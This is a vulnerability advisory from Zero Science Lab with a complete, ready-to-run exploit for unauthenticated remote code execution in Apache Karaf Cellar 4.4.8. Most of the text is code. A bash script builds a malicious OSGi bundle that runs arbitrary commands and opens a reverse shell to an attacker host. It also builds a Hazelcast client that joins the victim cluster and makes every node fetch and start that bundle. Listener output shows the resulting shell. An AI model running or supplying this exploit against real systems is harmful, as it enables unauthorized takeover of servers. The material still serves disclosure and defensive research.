Apache Karaf Cellar 4.4.8 Remote Code Execution

[zeroscience]

#!/usr/bin/env bash
#
#
# Apache Karaf Cellar 4.4.8 Remote Code Execution
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://karaf.apache.org
# Affected version: 4.4.8
#
# Summary: Apache Karaf Cellar is a complete clustering solution
# for Apache Karaf Container. Cellar can be directly installed on
# running Karaf Container instances.
#
# Desc: Apache Karaf Cellar suffers from an unauthenticated cluster-join
# vulnerability leading to remote code execution. The default hazelcast.xml
# enables multicast discovery and relies on a group password that
# Hazelcast no longer treats as an authentication control, so a network-adjacent
# attacker can join the cluster and publish to Cellar's distributed maps.
# Through the bundle event handler this causes the target nodes to
# install and start a bundle from an attacker-supplied URL, resulting
# in cross-node remote code execution. The default group policy permits
# this (bundle whitelist inbound "*", blacklist only "*.xml"), so any
# .jar URL is accepted.
#
# ---------------------------------------------------------------------
# > ncat -lv 8888
# Ncat: Version 7.95 ( https://nmap.org/ncat )
# Ncat: Listening on [::]:8888
# Ncat: Listening on 0.0.0.0:8888
# Ncat: Connection from 192.168.1.8:10094.
# id
#
# uid=997(karaf) gid=997(karaf) groups=997(karaf)
# ^C
# >
# ---------------------------------------------------------------------
#
# Tested on: Microsoft Windows 10
#            Apache Felix 7.0.5 OSGi
#            OpenJDK Temurin 21.0.6
#            Hazelcast 3.12.13
#            Python 3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6033
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6033
#
#
# 13.08.2026
#


set -u
VICTIM="${VICTIM:-127.0.0.1:5701}"; LHOST="${LHOST:-127.0.0.1}"; HTTP_PORT="${HTTP_PORT:-8000}"
CMD="${CMD:-id; hostname}"; RHOST="${RHOST:-}"; RPORT="${RPORT:-}"; MODE="${MODE:-tcpip}"
CELLAR_GROUP="${CELLAR_GROUP:-default}"; HAZEL_GROUP="${HAZEL_GROUP:-cellar}"; BUILD_ONLY="${BUILD_ONLY:-0}"; SERVE_AFTER="${SERVE_AFTER:-20}"
case "$(uname -s)" in MINGW*|MSYS*|CYGWIN*) SEP=";"; jp(){ cygpath -w "$1"; } ;; *) SEP=":"; jp(){ printf '%s' "$1"; } ;; esac
command -v javac >/dev/null || { echo "[!] Need a JDK (javac/jar/java)"; exit 1; }
PY="$(command -v python3 || command -v python)"; [ -n "$PY" ] || { echo "[!] Need python3"; exit 1; }

GO_KARAF=$(cat << 'EOF'

  _                    __ ___          _ _           
 | |                  / _|__ \        | | |           
 | | ____ _ _ __ __ _| |_   ) |___ ___| | | __ _ _ __
 | |/ / _` | '__/ _` |  _| / // __/ _ \ | |/ _` | '__|
 |   < (_| | | | (_| | |  / /| (_|  __/ | | (_| | |   
 |_|\_\__,_|_|  \__,_|_| |____\___\___|_|_|\__,_|_|  v2.5.1


EOF
)

W="$(mktemp -d 2>/dev/null || echo "./cellar_rce_build.$$")"; mkdir -p "$W/lib" "$W/bundle/evil" "$W/web" "$W/src"
cleanup(){ [ -n "${HTTP_PID:-}" ] && kill "$HTTP_PID" 2>/dev/null; }; trap cleanup EXIT

echo "$GO_KARAF"

M="https://repo1.maven.org/maven2"
echo "[*] Fetching real Hazelcast 3.12.13 + Cellar 4.4.8 + OSGi ..."
for j in \
  "com/hazelcast/hazelcast/3.12.13/hazelcast-3.12.13.jar" \
  "org/apache/karaf/cellar/org.apache.karaf.cellar.core/4.4.8/org.apache.karaf.cellar.core-4.4.8.jar" \
  "org/apache/karaf/cellar/org.apache.karaf.cellar.bundle/4.4.8/org.apache.karaf.cellar.bundle-4.4.8.jar" \
  "org/osgi/org.osgi.core/6.0.0/org.osgi.core-6.0.0.jar" ; do
  curl -fsSL "$M/$j" -o "$W/lib/$(basename "$j")" || { echo "[!] Download failed: $j"; exit 1; }
done
CP=""; for x in "$W"/lib/*.jar; do CP="${CP:+$CP$SEP}$(jp "$x")"; done

cat > "$W/src/EvilActivator.java.tmpl" <<'JAVA_EOF'
package evil;
import org.osgi.framework.BundleActivator;
import org.osgi.framework.BundleContext;
import java.io.*; import java.net.Socket;
public class EvilActivator implements BundleActivator {
    static final String CMD="@CMD@", RHOST="@RHOST@", RPORT="@RPORT@";
    public void start(final BundleContext ctx){ new Thread(new Runnable(){ public void run(){ pop(); } },"evil-rce").start(); }
    public void stop(BundleContext ctx){}
    private void pop(){
        boolean win=System.getProperty("os.name","").toLowerCase().contains("win");
        try{
            File mark=new File(System.getProperty("java.io.tmpdir"),"peend.txt");
            try(FileWriter w=new FileWriter(mark,true)){ w.write("Cellar RCE: EvilActivator.start() ran on "
                +java.net.InetAddress.getLocalHost()+" as "+System.getProperty("user.name")+" at "+new java.util.Date()+"\n"); }
            System.out.println(">>> CELLAR RCE: EvilActivator.start() executed; marker="+mark);
            if(CMD!=null && CMD.length()>0){
                ProcessBuilder pb=win?new ProcessBuilder("cmd.exe","/c",CMD):new ProcessBuilder("/bin/sh","-c",CMD);
                pb.redirectErrorStream(true); Process p=pb.start();
                BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
                for(String l;(l=r.readLine())!=null;) System.out.println("    [cmd] "+l);
            }
            if(RHOST!=null && RHOST.length()>0){
                Socket s=new Socket(RHOST,Integer.parseInt(RPORT));
                Process p=new ProcessBuilder(win?"cmd.exe":"/bin/sh").redirectErrorStream(true).start();
                pipe(s.getInputStream(),p.getOutputStream()); pipe(p.getInputStream(),s.getOutputStream());
            }
        }catch(Throwable t){ System.out.println(">>> CELLAR RCE payload error: "+t); }
    }
    private static void pipe(final InputStream in,final OutputStream out){
        new Thread(new Runnable(){ public void run(){ try{ byte[] b=new byte[4096]; int n;
            while((n=in.read(b))>0){ out.write(b,0,n); out.flush(); } }catch(Exception e){} } }).start();
    }
}
JAVA_EOF

cat > "$W/src/Podroom.java" <<'JAVA_EOF'
import com.hazelcast.config.*; import com.hazelcast.core.*;
import org.apache.karaf.cellar.core.Group; import org.apache.karaf.cellar.bundle.ClusterBundleEvent;
import org.osgi.framework.Bundle; import java.util.Arrays;
public class Podroom {
    static { System.setProperty("hazelcast.phone.home.enabled","false"); System.setProperty("hazelcast.logging.type","none"); }
    public static void main(String[] a) throws Exception {
        String members=a[0], bundleUrl=a[1], cellarGroup=a[2], hazelGroup=a[3], mode=a[4];
        Config c=new Config(); c.setInstanceName("attacker");
        c.getGroupConfig().setName(hazelGroup).setPassword("whatever-not-checked");
        NetworkConfig net=c.getNetworkConfig(); net.setPort(5720).setPortAutoIncrement(true);
        JoinConfig join=net.getJoin(); join.getMulticastConfig().setEnabled(false);
        if("multicast".equalsIgnoreCase(mode)){ join.getTcpIpConfig().setEnabled(false);
            join.getMulticastConfig().setEnabled(true).setMulticastGroup("224.2.2.3").setMulticastPort(54327); }
        else { join.getTcpIpConfig().setEnabled(true).setMembers(Arrays.asList(members.split(","))); }
        System.out.println("[*] Joining Hazelcast group '"+hazelGroup+"' ("+mode+") via "+members+" ...");
        HazelcastInstance hz=Hazelcast.newHazelcastInstance(c); Thread.sleep(3000);
        System.out.println("[*] Cluster members: "+hz.getCluster().getMembers());
        ClusterBundleEvent e=new ClusterBundleEvent("evil","1.0.0",bundleUrl,1,Bundle.INSTALLED);
        e.setSourceGroup(new Group(cellarGroup)); e.setForce(Boolean.TRUE);
        ITopic<Object> t=hz.getTopic("org.apache.karaf.cellar.event.topic");
        System.out.println("[*] Publishing ClusterBundleEvent{INSTALLED, location="+bundleUrl+"} ...");
        t.publish(e); Thread.sleep(2000);
        System.out.println("[+] Published -> every Cellar node in group '"+cellarGroup+"' installs+starts the bundle = RCE.");
        hz.shutdown(); System.exit(0);
    }
}
JAVA_EOF

echo "[*] Building the malicious OSGi bundle (evil.jar) ..."
sed -e "s|@CMD@|$CMD|g" -e "s|@RHOST@|$RHOST|g" -e "s|@RPORT@|$RPORT|g" \
    "$W/src/EvilActivator.java.tmpl" > "$W/bundle/evil/EvilActivator.java"
javac -cp "$CP" -d "$W/bundle" "$(jp "$W/bundle/evil/EvilActivator.java")" || { echo "[!] Bundle build failed"; exit 1; }
printf 'Manifest-Version: 1.0\nBundle-ManifestVersion: 2\nBundle-SymbolicName: evil\nBundle-Version: 1.0.0\nBundle-Activator: evil.EvilActivator\nImport-Package: org.osgi.framework\n' > "$W/bundle/MANIFEST.MF"
( cd "$W/bundle" && jar cfm "$W/web/evil.jar" MANIFEST.MF evil ) || { echo "[!] jar failed"; exit 1; }
BURL="http://$LHOST:$HTTP_PORT/evil.jar"

echo "[*] Building the exploit (Podroom) ..."
javac -cp "$CP" -d "$W" "$(jp "$W/src/Podroom.java")" || { echo "[!] Exploit build failed"; exit 1; }

if [ "$BUILD_ONLY" = "1" ]; then echo "[*] BUILD_ONLY=1 - built OK, not firing. Artifacts in $W"; exit 0; fi

echo "[*] Serving $W/web on 0.0.0.0:$HTTP_PORT ($BURL) ..."
( cd "$W/web" && "$PY" -m http.server "$HTTP_PORT" >/dev/null 2>&1 ) & HTTP_PID=$!
sleep 1
echo "-----------------------------------------------------------------"
echo "[*] Firing at victim $VICTIM (bundle=$BURL, cellar group=$CELLAR_GROUP, mode=$MODE)"
[ -n "$RHOST" ] && echo "[*] Reverse shell -> $RHOST:$RPORT  (have 'nc -lvnp $RPORT' ready)"
echo "-----------------------------------------------------------------"
java -cp ".${SEP}$(jp "$W")${SEP}$CP" Podroom "$VICTIM" "$BURL" "$CELLAR_GROUP" "$HAZEL_GROUP" "$MODE"
echo "-----------------------------------------------------------------"
echo "[*] Keeping the bundle server up ${SERVE_AFTER}s so every victim can fetch evil.jar ..."
echo "    (victims install the bundle ASYNCHRONOUSLY after receiving the event; if the server dies first"
echo "     they fail with 'Unable to cache bundle'. Raise SERVE_AFTER for slow/many nodes.)"
sleep "$SERVE_AFTER"
echo "[*] Done. Each victim node ran installBundle+start on evil.jar -> EvilActivator.start()."
echo "    Proof marker on victims: <java.io.tmpdir>/peend.txt"
[ -n "$RHOST" ] && echo "    Reverse shell should have connected back to $RHOST:$RPORT."

ZSL-2026-6033: Apache Karaf Cellar 4.4.8 Remote Code Execution

ZSL-2026-6033: Apache Karaf Cellar 4.4.8 Remote Code Execution

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